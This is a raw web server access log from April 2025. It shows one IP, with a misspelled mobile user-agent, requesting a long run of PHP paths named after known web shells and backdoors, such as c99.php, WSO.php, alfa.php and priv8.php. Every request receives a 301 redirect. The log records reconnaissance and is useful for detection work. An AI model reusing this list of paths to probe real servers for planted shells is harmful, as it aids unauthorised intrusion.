[24/Apr/2025:18:24:50 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:52 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:53 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:55 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:58 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:25:02 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:25:05 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:25:07 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:25:11 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:25:15 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:25:18 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:25:21 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:25:24 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:25:26 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:25:30 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:25:32 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:25:36 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:25:40 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:25:43 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:25:46 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:25:51 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:03 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:07 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:13 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:16 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:18 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:20 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:24 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:27 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:30 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:33 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:37 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:40 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:43 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:45 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:48 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:51 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:53 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:55 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:57 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:26:59 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:01 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:04 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:07 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:11 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:13 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:17 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:20 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:21 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:23 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:25 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:27 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:30 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:32 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:36 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:39 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:41 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:43 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:46 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:48 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:50 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:53 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:55 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:57 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:27:59 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:03 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:07 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:09 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:12 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:15 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:17 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:19 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:22 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:25 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:28 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:32 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:36 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:38 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:40 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:42 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:44 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:46 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:48 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:51 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:54 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:57 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:28:59 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:01 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:04 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:06 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:08 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:12 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:14 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:16 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:19 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:29:21 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 